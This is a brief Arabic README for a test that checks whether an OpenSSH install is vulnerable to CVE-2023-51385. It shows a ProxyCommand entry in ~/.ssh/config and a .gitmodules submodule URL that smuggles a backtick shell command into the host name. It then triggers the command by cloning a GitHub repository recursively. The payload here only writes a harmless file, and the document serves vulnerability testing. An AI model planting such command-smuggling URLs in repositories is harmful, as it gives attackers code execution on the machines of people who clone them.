
مدقق لـ CVE-2023-51385
أولاً، يجب إضافة المحتوى التالي إلى ~/.ssh/config:
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
يوجد حقن للأوامر في ملف .gitmodules:
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
بعد التهيئة، قم بتنفيذ الأمر التالي للتشغيل:
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules
إذا تم التنفيذ بنجاح، سيتم إنشاء ملف cve.txt داخل دليل CVE-2023-51385_test.

ملاحظة: يجب أن يكون إصدار OpenSSH أقل من 9.6p1.
للتفاصيل الكاملة، راجع هذه المقالة: https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html